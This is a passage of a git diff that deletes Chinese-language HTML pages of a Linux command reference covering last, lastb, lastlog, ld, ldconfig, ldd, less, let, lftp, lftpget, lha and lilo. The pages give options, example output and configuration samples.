--d:将IP地址转换成主机名称;
--f <记录文件>:指定记录文件。
--n <显示列数>或-<显示列数>:设置列出名单的显示列数;
--R:不显示登入系统的主机名称或IP地址;
--x:显示系统关机,重新开机,以及执行等级的改变等信息。
-
-

参数

-
    -
  • 用户名:显示用户登录列表;
  • -
  • 终端:显示从指定终端的登录列表。
  • -
-

实例

-

last命令用了显示用户登录情况,以下是直接显示固定行数的记录:

-
last -10
-root     pts/0        221.6.45.34      Tue Dec 17 09:40   still logged in
-root     pts/0        221.6.45.34      Mon Dec 16 09:00 - 11:57  (02:56)
-root     pts/0        222.94.97.122    Sun Dec 15 20:39 - 23:28  (02:48)
-root     pts/0        222.95.209.80    Sat Dec 14 14:39 - 14:58  (00:18)
-root     pts/0        221.6.45.34      Thu Dec 12 16:55 - 17:37  (00:41)
-root     pts/0        49.65.139.195    Wed Dec 11 20:40 - 21:16  (00:35)
-root     pts/0        49.65.139.195    Wed Dec 11 19:46 - 20:03  (00:17)
-root     pts/0        221.6.45.34      Tue Dec 10 14:41 - 15:52  (01:10)
-root     pts/0        221.6.45.34      Mon Dec  9 17:24 - 17:30  (00:06)
-root     pts/0        221.6.45.34      Mon Dec  9 09:38 - 11:41  (02:02)
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lastb.html b/linux-command.docset/Contents/Resources/Documents/c/lastb.html deleted file mode 100644 index ead7a5ea44..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lastb.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - - - - - - - - lastb 命令,Linux lastb 命令详解:列出登入系统失败的用户相关信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lastb

-

列出登入系统失败的用户相关信息

-

补充说明

-

lastb命令 用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于/var/log目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。

-

语法

-
lastb(选项)(参数)
-
-

选项

-
-a:把从何处登入系统的主机名称或ip地址显示在最后一行;
--d:将IP地址转换成主机名称;
--f<记录文件>:指定记录文件;
--n<显示列数>或-<显示列数>:设置列出名单的显示列数;
--R:不显示登入系统的主机名称或IP地址;
--x:显示系统关机,重新开机,以及执行等级的改变等信息。
-
-

参数

-
    -
  • 用户名:显示中的用户的登录列表;
  • -
  • 终端:显示从指定终端的登录列表。
  • -
-

实例

-

首次运行lastb命令会报下的错误:

-
lastb: /var/log/btmp: No such file or directory
-Perhaps this file was removed by the operator to prevent logging lastb info.
-
-

只需建立这个不存在的文件即可。

-
touch /var/log/btmp
-
-

使用ssh的登录失败不会记录在btmp文件中。

-
lastb | head
-root     ssh:notty    110.84.129.3     Tue Dec 17 06:19 - 06:19  (00:00)
-root     ssh:notty    110.84.129.3     Tue Dec 17 04:05 - 04:05  (00:00)
-root     ssh:notty    110.84.129.3     Tue Dec 17 01:52 - 01:52  (00:00)
-root     ssh:notty    110.84.129.3     Mon Dec 16 23:38 - 23:38  (00:00)
-leonob   ssh:notty    222.211.85.18    Mon Dec 16 22:18 - 22:18  (00:00)
-leonob   ssh:notty    222.211.85.18    Mon Dec 16 22:18 - 22:18  (00:00)
-root     ssh:notty    110.84.129.3     Mon Dec 16 21:25 - 21:25  (00:00)
-root     ssh:notty    110.84.129.3     Mon Dec 16 19:12 - 19:12  (00:00)
-root     ssh:notty    110.84.129.3     Mon Dec 16 17:00 - 17:00  (00:00)
-admin    ssh:notty    129.171.193.99   Mon Dec 16 16:52 - 16:52  (00:00)
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lastlog.html b/linux-command.docset/Contents/Resources/Documents/c/lastlog.html deleted file mode 100644 index 7a1c6e3182..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lastlog.html +++ /dev/null @@ -1,111 +0,0 @@ - - - - - - - - - - - lastlog 命令,Linux lastlog 命令详解:显示系统中所有用户最近一次登录信息 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lastlog

-

显示系统中所有用户最近一次登录信息

-

补充说明

-

lastlog命令 用于显示系统中所有用户最近一次登录信息。

-

lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志/var/log/lastlog的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示**Never logged**。注意需要以root身份运行该命令。

-

语法

-
lastlog(选项)
-
-

选项

-
-b<天数>:显示指定天数前的登录信息;
--h:显示召集令的帮助信息;
--t<天数>:显示指定天数以来的登录信息;
--u<用户名>:显示指定用户的最近登录信息。
-
-

实例

-
lastlog
-Username         Port     From             Latest
-root             pts/0    221.6.45.34      Tue Dec 17 09:40:48 +0800 2013
-bin                                         **Never logged in** 
-daemon                                      **Never logged in** 
-adm                                         **Never logged in** 
-lp                                          **Never logged in** 
-sync                                        **Never logged in** 
-shutdown                                    **Never logged in** 
-halt                                        **Never logged in** 
-mail                                        **Never logged in** 
-news                                        **Never logged in** 
-uucp                                        **Never logged in** 
-operator                                    **Never logged in** 
-games                                       **Never logged in** 
-gopher                                      **Never logged in** 
-ftp                                         **Never logged in** 
-nobody                                      **Never logged in** 
-vcsa                                        **Never logged in** 
-ntp                                         **Never logged in** 
-sshd                                        **Never logged in** 
-nscd                                        **Never logged in** 
-ldap                                        **Never logged in** 
-postfix                                     **Never logged in** 
-www                                         **Never logged in** 
-mysql                                       **Never logged in** 
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ld.html b/linux-command.docset/Contents/Resources/Documents/c/ld.html deleted file mode 100644 index 65e6e7b058..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ld.html +++ /dev/null @@ -1,88 +0,0 @@ - - - - - - - - - - - ld 命令,Linux ld 命令详解:将目标文件连接为可执行程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ld

-

将目标文件连接为可执行程序

-

补充说明

-

ld命令 是GNU的连接器,将目标文件连接为可执行程序。

-

语法

-
ld(选项)(参数)
-ld [options] objfile ...
-
-

选项

-
-o:指定输出文件名;
--e:指定程序的入口符号。
-
-

参数

-

目标文件:指定需要连接的目标文件。

-

实例

-

这告诉ld通过将文件 /lib/crt0.ohello.o 和库 libc.a 链接起来,生成一个名为 output 的文件,该文件将来自标准搜索目录。

-
ld -o <output> /lib/crt0.o hello.o -lc
-ld -o output /lib/crt0.o hello.o -lc
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ldconfig.html b/linux-command.docset/Contents/Resources/Documents/c/ldconfig.html deleted file mode 100644 index 43c3dbf40e..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ldconfig.html +++ /dev/null @@ -1,101 +0,0 @@ - - - - - - - - - - - ldconfig 命令,Linux ldconfig 命令详解:动态链接库管理命令 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ldconfig

-

动态链接库管理命令

-

补充说明

-

ldconfig命令 的用途主要是在默认搜寻目录/lib/usr/lib以及动态库配置文件/etc/ld.so.conf内所列的目录下,搜索出可共享的动态链接库(格式如lib*.so*),进而创建出动态装入程序(ld.so)所需的连接和缓存文件。缓存文件默认为/etc/ld.so.cache,此文件保存已排好序的动态链接库名字列表,为了让动态链接库为系统所共享,需运行动态链接库的管理命令ldconfig,此执行程序存放在/sbin目录下。

-

ldconfig通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令。

-

语法

-
ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path... 
-
-

选项

-
-v或--verbose:用此选项时,ldconfig将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字。
--n:用此选项时,ldconfig仅扫描命令行指定的目录,不扫描默认目录(/lib、/usr/lib),也不扫描配置文件/etc/ld.so.conf所列的目录。
--N:此选项指示ldconfig不重建缓存文件(/etc/ld.so.cache),若未用-X选项,ldconfig照常更新文件的连接。
--X:此选项指示ldconfig不更新文件的连接,若未用-N选项,则缓存文件正常更新。
--f CONF:此选项指定动态链接库的配置文件为CONF,系统默认为/etc/ld.so.conf。
--C CACHE:此选项指定生成的缓存文件为CACHE,系统默认的是/etc/ld.so.cache,此文件存放已排好序的可共享的动态链接库的列表。
--r ROOT:此选项改变应用程序的根目录为ROOT(是调用chroot函数实现的)。选择此项时,系统默认的配置文件/etc/ld.so.conf,实际对应的为ROOT/etc/ld.so.conf。如用-r /usr/zzz时,打开配置文件/etc/ld.so.conf时,实际打开的是/usr/zzz/etc/ld.so.conf文件。用此选项,可以大大增加动态链接库管理的灵活性。
--l:通常情况下,ldconfig搜索动态链接库时将自动建立动态链接库的连接,选择此项时,将进入专家模式,需要手工设置连接,一般用户不用此项。
--p或--print-cache:此选项指示ldconfig打印出当前缓存文件所保存的所有共享库的名字。
--c FORMAT 或 --format=FORMAT:此选项用于指定缓存文件所使用的格式,共有三种:old(老格式),new(新格式)和compat(兼容格式,此为默认格式)。
--V:此选项打印出ldconfig的版本信息,而后退出。
--? 或 --help 或 --usage:这三个选项作用相同,都是让ldconfig打印出其帮助信息,而后退出。
-
-

ldconfig几个需要注意的地方:

-
    -
  1. /lib/usr/lib里面加东西,是不用修改/etc/ld.so.conf的,但是完了之后要调一下ldconfig,不然这个library会找不到。
  2. -
  3. 想往上面两个目录以外加东西的时候,一定要修改/etc/ld.so.conf,然后再调用ldconfig,不然也会找不到。
  4. -
  5. 比如安装了一个mysql到/usr/local/mysql,mysql有一大堆library在/usr/local/mysql/lib下面,这时就需要在/etc/ld.so.conf下面加一行/usr/local/mysql/lib,保存过后ldconfig一下,新的library才能在程序运行时被找到。
  6. -
  7. 如果想在这两个目录以外放lib,但是又不想在/etc/ld.so.conf中加东西(或者是没有权限加东西)。那也可以,就是export一个全局变量LD_LIBRARY_PATH,然后运行程序的时候就会去这个目录中找library。一般来讲这只是一种临时的解决方案,在没有权限或临时需要的时候使用。
  8. -
  9. ldconfig做的这些东西都与运行程序时有关,跟编译时一点关系都没有。编译的时候还是该加-L就得加,不要混淆了。
  10. -
  11. 总之,就是不管做了什么关于library的变动后,最好都ldconfig一下,不然会出现一些意想不到的结果。不会花太多的时间,但是会省很多的事。
  12. -
  13. 再有,诸如libdb-4.3.so文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用strings命令察看),因此仅通过修改文件名以冒充某已被识别的库(如libdb-4.8.so)是行不通的。为此可在编译库的Makefile中直接修改配置信息,指定特别的库名。
  14. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/ldd.html b/linux-command.docset/Contents/Resources/Documents/c/ldd.html deleted file mode 100644 index 13b1ab78f5..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/ldd.html +++ /dev/null @@ -1,94 +0,0 @@ - - - - - - - - - - - ldd 命令,Linux ldd 命令详解:打印程序或者库文件所依赖的共享库列表 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

ldd

-

打印程序或者库文件所依赖的共享库列表

-

补充说明

-

ldd命令 用于打印程序或者库文件所依赖的共享库列表。

-

语法

-
ldd(选项)(参数)
-
-

选项

-
--version:打印指令版本号;
--v:详细信息模式,打印所有相关信息;
--u:打印未使用的直接依赖;
--d:执行重定位和报告任何丢失的对象;
--r:执行数据对象和函数的重定位,并且报告任何丢失的对象和函数;
---help:显示帮助信息。
-
-

参数

-

文件:指定可执行程序或者文库。

-

其他介绍

-

首先ldd不是一个可执行程序,而只是一个shell脚本

-

ldd能够显示可执行模块的dependency,其原理是通过设置一系列的环境变量,如下:LD_TRACE_LOADED_OBJECTS、LD_WARN、LD_BIND_NOW、LD_LIBRARY_VERSION、LD_VERBOSE等。当LD_TRACE_LOADED_OBJECTS环境变量不为空时,任何可执行程序在运行时,它都会只显示模块的dependency,而程序并不真正执行。要不你可以在shell终端测试一下,如下:

-
export LD_TRACE_LOADED_OBJECTS=1
-
-

再执行任何的程序,如ls等,看看程序的运行结果。

-

ldd显示可执行模块的dependency的工作原理,其实质是通过ld-linux.so(elf动态库的装载器)来实现的。我们知道,ld-linux.so模块会先于executable模块程序工作,并获得控制权,因此当上述的那些环境变量被设置时,ld-linux.so选择了显示可执行模块的dependency。

-

实际上可以直接执行ld-linux.so模块,如:/lib/ld-linux.so.2 --list program(这相当于ldd program)

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/less.html b/linux-command.docset/Contents/Resources/Documents/c/less.html deleted file mode 100644 index 37ee5bbf77..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/less.html +++ /dev/null @@ -1,91 +0,0 @@ - - - - - - - - - - - less 命令,Linux less 命令详解:分屏上下翻页浏览文件内容 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

less

-

分屏上下翻页浏览文件内容

-

补充说明

-

less命令 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键。

-

语法

-
less(选项)(参数)
-
-

选项

-
-e:文件内容显示完毕后,自动退出;
--f:强制显示文件;
--g:不加亮显示搜索到的所有关键词,仅显示当前显示的关键字,以提高显示速度;
--l:搜索时忽略大小写的差异;
--N:每一行行首显示行号;
--s:将连续多个空行压缩成一行显示;
--S:在单行显示较长的内容,而不换行显示;
--x<数字>:将TAB字符显示为指定个数的空格字符。
-
-

参数

-

文件:指定要分屏显示内容的文件。

-

实例

-
sudo less /var/log/shadowsocks.log
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/let.html b/linux-command.docset/Contents/Resources/Documents/c/let.html deleted file mode 100644 index 5160b62e38..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/let.html +++ /dev/null @@ -1,169 +0,0 @@ - - - - - - - - - - - let 命令,Linux let 命令详解:简单的计算器,执行算术表达式。 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

let

-

简单的计算器,执行算术表达式。

-

概要

-
let arg [arg ...]
-
-

主要用途

-
    -
  • 执行一个或多个算术表达式。
  • -
-

参数

-

arg:算术表达式

-

返回值

-

let最后一个执行的表达式的计算结果为0时返回1,否则返回0。 -当let执行的表达式的除数为0时,返回1并报错。

-

运算符优先级递减表

-

|运算符|描述| -|:-------:|:-------:| -|id++, id--|变量后增量、变量后减量| -|++id, --id|变量预增量、变量预减量| -|-, +|正号、负号| -|!, ~|逻辑否、按位取反| -|**|幂运算| -|*, /, %|乘法、除法、取余| -|+, -|加法、减法| -|<<, >>|按位左移、右移| -|<=, >=, <, >|比较| -|==, !=|等于、不等于| -|&|按位与| -|^|按位异或| -|\||按位或| -|&&|逻辑与| -|\|\||逻辑或| -|expr ? expr : expr|条件运算符(三元运算符)| -|=, *=, /=, %=, +=, -=,
<<=, >>=, &=, ^=, \|=|赋值|

-

例子

-
# 尝试直接在终端中执行算术表达式(就像在python的IDLE)。
-3+4
-bash:3+4:command not found...
-# 换一种方式。
-3 + 4
-bash:3:command not found...
-# 看来不行。
-
-
# let命令赋值。
-let a=3**4
-echo ${a}
-# 显示81。
-# ((...))和let命令等效。
-((a=3**4))
-
-
# let常用于变量赋值,而外部命令expr可直接返回表达式的值。
-let 3+4
-# 没有显示7。
-# 执行后显示7,注意空格。
-expr 3 + 4
-
-
# 条件表达式。
-if ((8>4)); then
-  echo '8 is greater than 4.'
-else
-  echo 'error'
-fi
-# 注意空格。
-if [[ 12 -le 10 ]]; then
-  echo 'error'
-else
-  echo '12 is greater than 10.'
-fi
-
-
# 可以通过declare命令设置整型属性的方法来进行算术运算。
-# local命令与此类似。
-
-# 没有指定整型属性,输出为字符串'a+b'。
-declare a=3 b=4 c
-c=a+b
-echo ${c}
-# 不过可以使用以下方式赋值。
-c=$((a+b))
-echo ${c}
-# 显示7
-
-# 设置了整型属性就可以直接加了。
-declare -i a=3 b=4 c
-c=a+b
-echo ${c}
-# 同上。
-declare -i a
-a=2*3
-echo ${a}
-# 显示6。
-
-

注意

-
    -
  1. -

    该命令是bash内建命令,相关的帮助信息请查看help命令。

    -
  2. -
  3. -

    执行算术计算的命令除了let,还有外部命令exprbc等。

    -
  4. -
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lftp.html b/linux-command.docset/Contents/Resources/Documents/c/lftp.html deleted file mode 100644 index 5dd22ccaf2..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lftp.html +++ /dev/null @@ -1,131 +0,0 @@ - - - - - - - - - - - lftp 命令,Linux lftp 命令详解:优秀的文件客户端程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lftp

-

优秀的文件客户端程序

-

补充说明

-

lftp命令 是一款优秀的文件客户端程序,它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全,记不得命令双击tab键,就可以看到可能的选项了。

-

语法

-
lftp(选项)(参数)
-
-

选项

-
-f:指定lftp指令要执行的脚本文件;
--c:执行指定的命令后退出;
---help:显示帮助信息;
---version:显示指令的版本号。
-
-

参数

-

站点:要访问的站点的ip地址或者域名。

-

实例

-

登录ftp

-
lftp 用户名:密码@ftp地址:传送端口(默认21)
-
-

也可以先不带用户名登录,然后在接口界面下用login命令来用指定账号登录,密码不显示。

-

查看文件与改变目录

-
ls
-cd 对应ftp目录
-
-

下载

-

get当然是可以的,还可以:

-
mget -c *.pdf    #把所有的pdf文件以允许断点续传的方式下载。
-mirror aaa/      #将aaa目录整个的下载下来,子目录也会自动复制。
-pget -c -n 10 file.dat   #以最多10个线程以允许断点续传的方式下载file.dat,可以通过设置pget:default-n的值而使用默认值。
-
-

上传

-

同样的put、mput都是对文件的操作,和下载类似。

-
mirror -R 本地目录名
-
-

将本地目录以迭代(包括子目录)的方式反向上传到ftp site。

-

模式设置

-
set ftp:charset gbk
-
-

远程ftp site用gbk编码,对应的要设置为utf8,只要替换gbk为utf8即可。

-
set file:charset utf8
-
-

本地的charset设定为utf8,如果你是gbk,相应改掉。

-
set ftp:passive-mode 1
-
-

使用被动模式登录,有些site要求必须用被动模式或者主动模式才可以登录,这个开关就是设置这个的。0代表不用被动模式。

-

书签

-

其实命令行也可以有书签,在lftp终端提示符下:

-
bookmark add ustc
-
-

就可以把当前正在浏览的ftp site用ustc作为标签储存起来。以后在shell终端下,直接lftp ustc就可以自动填好用户名和密码,进入对应的目录了。

-
bookmark edit
-
-

会调用编辑器手动修改书签。当然,也可以看到,这个书签其实就是个简单的文本文件。密码,用户名都可以看到。

-

配置文件

-
vim /etc/lftp.conf
-
-

一般,我会添加这几行:

-
set ftp:charset gbk
-set file:charset utf8
-set pget:default-n 5
-
-

这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lftpget.html b/linux-command.docset/Contents/Resources/Documents/c/lftpget.html deleted file mode 100644 index 533d3c7504..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lftpget.html +++ /dev/null @@ -1,83 +0,0 @@ - - - - - - - - - - - lftpget 命令,Linux lftpget 命令详解:调用lftp指令下载指定的文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lftpget

-

调用lftp指令下载指定的文件

-

补充说明

-

lftpget命令 通过调用lftp指令下载指定的文件。

-

语法

-
lftpget(选项)(参数)
-
-

选项

-
-c:继续先前的下载;
--d:输出调试信息;
--v:输出详细信息。
-
-

参数

-

文件:指定要下载的文件,文件必须是合法的URL路径。

- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lha.html b/linux-command.docset/Contents/Resources/Documents/c/lha.html deleted file mode 100644 index 58ed420d77..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lha.html +++ /dev/null @@ -1,102 +0,0 @@ - - - - - - - - - - - lha 命令,Linux lha 命令详解:压缩或解压缩lzh格式文件 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lha

-

压缩或解压缩lzh格式文件

-

补充说明

-

lha命令 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有.lzh扩展名的压缩文件。

-

选项

-
-a或a:压缩文件,并加入到压缩文件内。
--a<0/1/2>/u</0/1/2>   压缩文件时,采用不同的文件头。
--c或c:压缩文件,重新建构新的压缩文件后,再将其加入。
--d或d:从压缩文件内删除指定的文件。
--<a/c/u>d或<a/c/u>d:压缩文件,然后将其加入,重新建构,更新压缩文件或,删除原始文件,也就是把文件移到压缩文件中。
--e或e:解开压缩文件。
--f或f:强制执行lha命令,在解压时会直接覆盖已有的文件而不加以询问。
--g或g:使用通用的压缩格式,便于解决兼容性的问题。
--<e/x>i或<e/x>i:解开压缩文件时,忽略保存在压缩文件内的文件路径,直接将其解压后存放在现行目录下或是指定的目录中。
--l或l:列出压缩文件的相关信息。
--m或m:此选项的效果和同时指定"-ad"选项相同。
--n或n:不执行指令,仅列出实际执行会进行的动作。
--<a/u>o或<a/u>o:采用lharc兼容格式,将压缩后的文件加入,更新压缩文件。
--p或p:从压缩文件内输出到标准输出设备。
--q或q:不显示指令执行过程。
--t或t:检查备份文件内的每个文件是否正确无误。
--u或u:更换较新的文件到压缩文件内。
--u</0/1/2>或u</0/1/2>:在文件压缩时采用不同的文件头,然后更新到压缩文件内。
--v或v:详细列出压缩文件的相关信息。
--<e/x>w=<目的目录><e/x>w=<目的目录>:指定解压缩的目录。
--x或x:解开压缩文件。
--<a/u>z或<a/u>z:不压缩文件,直接把它加入,更新压缩文件。
-
-

实例

-
lha -a abc.lhz a.b         #压缩a.b文件,压缩后生成 abc.lhz 文件
-lha -a abc2 /home/hnlinux  #压缩目录
-lha -xiw=agis abc          #解压文件abc,到当前目录
-
- -
- - - - - - - \ No newline at end of file diff --git a/linux-command.docset/Contents/Resources/Documents/c/lilo.html b/linux-command.docset/Contents/Resources/Documents/c/lilo.html deleted file mode 100644 index 4ca3be0495..0000000000 --- a/linux-command.docset/Contents/Resources/Documents/c/lilo.html +++ /dev/null @@ -1,161 +0,0 @@ - - - - - - - - - - - lilo 命令,Linux lilo 命令详解:安装核心载入开机管理程序 - Linux 命令搜索引擎 - - - - - logo Linux Command Logo. https://github.com/jaywcjlove - - -
- - -纠正错误 - -添加实例 - - -

lilo

-

安装核心载入开机管理程序

-

补充说明

-

lilo命令 用于安装核心载入,开机管理程序。lilo是个Linux系统核心载入程序,同时具备管理开机的功能。单独执行lilo指令,它会读取/etc/lilo.conf配置文件,然后根据其内容安装lilo。

-

Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 较老的/最老的 Linux 引导加载程序,它那不断壮大的 Linux 社区支持使它能够随时间的推移而发展,并始终能够充当一个可用的现代引导加载程序。有一些新的功能,比如增强的用户界面,以及对能够突破原来 1024-柱面限制的新 BIOS 功能的利用。

-

虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变。

-

语法

-
lilo(选项)
-
-

选项

-
-b<外围设备代号>:指定安装lilo之处的外围设备代号;
--c:使用紧致映射模式;
--C<配置文件>:指定lilo的配置文件;
--d<延迟时间>:设置开机延迟时间;
--D<识别标签>:指定开机后预设启动的操作系统,或系统核心识别标签;
--f<几何参数文件>:指定磁盘的几何参数配置文件;
--i<开机磁区文件>:指定欲使用的开机磁区文件,预设是/boot目录里的boot.b文件;
--I<识别标签>:显示系统核心存放之处;
--l:产生线形磁区地址;
--m<映射文件>:指定映射文件;
--P<fix/ignore>:决定要修复或忽略分区表的错误;
--q:列出映射的系统核心文件;
--r<根目录>:设置系统启动时欲挂入成为根目录的目录;
--R<执行指令>:设置下次启动系统时,首先执行的指令;
--s<备份文件>:指定备份文件;
--S<备份文件>:强制指定备份文件;
--t:不执行指令,仅列出实际执行会进行的动作;
--u<外围色设备代号>:删除lilo;
--U<外围设备代号>:此选项的效果和指定"-u"参数类似,当不检查时间戳记;
--v:显示指令执行过程;
--V:显示版本信息。
-
-

实例

-

使用 LILO 作为引导加载程序

-

要使用 LILO 作为引导加载程序,需要做的事情取决于是要进行全新安装还是要让已经安装的 Linux 改为使用 LILO。如果是要进行全新安装,那么直接跳转到 配置 LILO 那一节。如果已经安装了某个 Linux 发行版,那么通常可以选择安装并配置 LILO(并可以将机器引导到新的 Linux 安装)。

-

要将现有的 Linux 迁移到 LILO,首先必须获得最新版本的 LILO(见 参考资料)。在做任何其他事情之前,建议您确保在手边拥有一张 Linux 引导盘 —— 如果偶而弄错了某些地方,它可以提供很大的帮助,能够恢复到初始的 Linux 配置!将 LILO 安装到系统中之后,让它接管 MBR 非常简单。以 root 用户身份输入:

-
/sbin/lilo -v -v
-
-

这将使用当前的 LILO 默认值,抹去 MBR 中当前所有内容。不过,请阅读 配置 LILO,以确保能够按预期引导起来。也要注意,如果想要在同一机器上运行 Windows 和 Linux,那么应该先安装 Windows OS,然后再安装 Linux OS,这样,在 Linux 安装中所选择的引导加载程序就不会被 Windows 引导加载程序所覆盖。与 Linux 引导加载程序不同,多数 Window 引导加载程序不支持引导 Linux。如果已经先安装了 Linux,那么只需要自己创建一张 Linux 引导盘,这样就可以在安装完 Windows 之后,回到 Linux 安装中并重写 MBR。

-

配置 LILO

-

LILO 的配置都是通过位于 /etc/lilo.conf 的一个配置文件来完成的。清单 1 给出了一个示例配置,使用的是我的家用机器,支持 Linux 和 Windows 机器的双重引导。了解我的工作站的基本配置,就可以想像出这些配置是如何与实际机器相关联的:

-

主 HDD(物理磁盘 1)上安装了 Windows XP(最初机器上只有它)。在 Linux 术语中,这个 HDD 是 /dev/hda(在 grub 术语中是 hd0,0)。

-

从 HDD(物理磁盘 2)上安装了 Red Hat Linux;root 分区位于这个硬盘驱动器的第三个分区,即 /dev/hdb3(在 GRUB 术语中是 hd1,3)。

-

lilo.conf 示例文件:

-
boot=/dev/hda
-map=/boot/map
-install=/boot/boot.b
-prompt
-timeout=100
-compact
-default=Linux
-image=/boot/vmlinuz-2.4.18-14
-	label=Linux
-	root=/dev/hdb3
-	read-only
-	password=linux
-other=/dev/hda
-	label=WindowsXP
-
-

配置文件选项说明:

-
    -
  • boot= 行告诉 LILO 在哪里安装引导加载程序。在上面的示例中,将把它安装到第一块硬盘的 MBR。也可以选择将 LILO 安装到 /dev/hdb3(示例中的 Linux 分区),这样需要向 /dev/hda 安装另一个引导加载程序,并令其指向 LILO 引导加载程序;然后只需要让 LILO 作为二级引导加载程序。通常,引导加载程序应该位于 /dev/hda。还可以将这个参数指向软盘驱动器(最常见的是 /dev/fd0),来制做 LILO 软盘引导磁盘。
  • -
  • map= 指向引导期间 LILO 内部使用的映射文件。当使用 /sbin/lilo 命令安装 LILO 时, 它会自动生成这个文件,其中包含有描述符表(还有其他内容)。建议不要改动这个文件!
  • -
  • install= 是 LILO 在引导过程中内部使用的文件之一。它同时包含有引导加载程序的主要部分和二级部分。boot.b 文件的 一个片段被写入到 MBR(引导加载程序的主要部分),它会指向那个映射,接下来指向二级引导加载程序。同样,不要改动它!
  • -
  • prompt= 告诉 LILO 使用用户界面(本例中给出了两个选择 —— Linux 和 WindowsXP)。除了使用 prompt/user 界面以外,在适当情况下还可以为 Linux 内核等指定具体的参数。如果不在配置文件中指定此选项,那么 LILO 将引导到 默认的 OS,不发生任何用户交互,也不会等待。(但是请注意,如果在引导时按下了 SHIFT,那么还是可以得到提示,当不想把 引导加载程序暴露给普通用户时,这非常有用)。
  • -
  • timeout= 是引导提示在自动引导默认 OS(本例中是 Linux)之前的等待时间(以十分之一秒为单位)。 如果在 lilo.conf 没有指定 prompt,那么这个参数就会被忽略。
  • -
  • compact 选项可以大大加速引导过程,它会将连续的读磁盘的请求合并为一个单独的请求。不过,这可能是 一件祸福参半的事情,因为我在论坛上看到过很多贴子提到了关于此选项的问题。当希望从软盘引导时,这个选项尤其有用。
  • -
  • default= 选项告诉 LILO 默认使用哪个映像进行引导,比如在等待超时之后。这与 lilo.conf 文件中的某个映像的 标签相关联。如果没有在配置文件中指定此选项,那么它将引导文件中指定的第一个映像。
  • -
  • 对于允许用户引导到的每一个 Linux 版本,都应该指定 image= 及以下三个选项。image 选项指定希望 引导到的内核版本。
  • -
  • label= 标明了在运行期间希望能够从用户界面引导的不同 OS。另外,这个标签用于指定引导的默认 OS。 (注意:标签名称中避免出现空格;否则,引导那个文件时会出现无法预期的错误。)
  • -
  • root= 告诉 LILO OS 文件系统实际所在的位置。在我们的示例中为 /dev/hdb3,即第二块硬盘上的第三个分区。
  • -
  • read-only 告诉 LILO 以只读的方式初始引导到文件系统。OS 一旦完全引导起来,就会以读写方式挂载。
  • -
